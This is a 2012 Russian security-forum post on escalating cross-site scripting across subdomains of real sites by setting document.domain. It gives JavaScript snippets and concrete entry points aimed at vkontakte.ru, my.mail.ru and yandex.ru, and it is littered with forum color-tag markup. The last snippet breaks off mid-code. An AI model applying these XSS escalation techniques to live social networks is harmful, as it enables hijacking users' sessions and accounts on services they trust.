
01.02.2012, 23:52
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Дополнение к пункту 2
Сообщение от M_script
Выполнения этих двух условий достаточно, для изменения домена XSS на другой домен того же уровня или наддомен.
Единственным необходимым условием является присвоением свойству document.domain значения 'site.com'. Вызов функций объекта parent необязателен:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];
function[/COLOR][COLOR="#0000BB"]newDomain[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// код внутри функции newDomain() выполняется на домене vkontakte.ru
[/COLOR][COLOR="#007700"]}
function[/COLOR][COLOR="#0000BB"]changeDomain[/COLOR][COLOR="#007700"]()
{
[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]
[/COLOR]
[/COLOR]
Пример (пробелы убрать):
http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=
[offtop]
Несколько строк кода на страницах my.mail.ru позволяют работать с этой соц.сетью через XSS любых поддоменов мейлру
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]try{
var[/COLOR][COLOR="#0000BB"]matches[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]location[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]hostname[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'[^.]*?\.[^.]*?$'[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]matches[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dDomain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
}
} catch([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]){};
[/COLOR][/COLOR]
[/offtop]
upd:
http://www.yandex.ru/i-social__closer.html#ddom=yandex.ru
http s://passport.yandex.ru/i-social__closer.html#ddom=yandex.ru
[PHP]
[COLOR="#000000"] q=location.hash.substr(1).split('&');
for (vari=0,l=q.length;i[COLOR="#007700"]
|
|
|